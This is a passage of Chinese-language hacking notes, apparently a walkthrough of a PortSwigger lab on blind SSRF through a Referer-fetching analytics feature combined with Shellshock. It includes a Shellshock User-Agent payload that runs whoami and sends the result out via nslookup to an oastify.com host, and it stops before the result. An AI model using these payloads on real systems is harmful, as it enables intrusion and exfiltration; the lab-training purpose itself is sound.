> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/blind-ssrf-exploited-via-shellshock.md).
# 通过 Shellshock 利用的盲 SSRF
通过 Shellshock 利用的盲 SSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 利用 Shellshock 漏洞进行盲 SSRF
该站点使用一个分析模块，会恢复在请求头中提供的 URL **Referer** 每次查看产品页面时都会执行。/ 要解决该实验室，你必须将此功能引导为执行一次盲 **SSRF** 到位于该范围内的内部服务器 **192.168.0.X** 在端口 **8080**。/ 在盲攻击期间，一个载荷 **Shellshock** 必须注入以外带系统的用户名。
#### 初始观察
当访问产品页面时，站点确实会根据请求头发送请求 **Referer**:
```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```
这证实了该应用会自动访问此请求头中提供的 URL。
#### 通过盲 SSRF 利用
目标是迫使应用程序联系一个内部主机：
```
Referer: http://192.168.X:8080
```
由于内部服务易受 **Shellshock**，因此将一个载荷注入到 **User-Agent** 请求头中，该请求头会被目标服务器解析。
该载荷会执行一条命令，以外带 `whoami` 结果，通过发送到 **Burp Collaborator**:
```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```
#### 结果
在 Collaborator 端会出现一个 DNS 查询，其中包含系统用户名。/ 在此情况下，返回的用户是：
---
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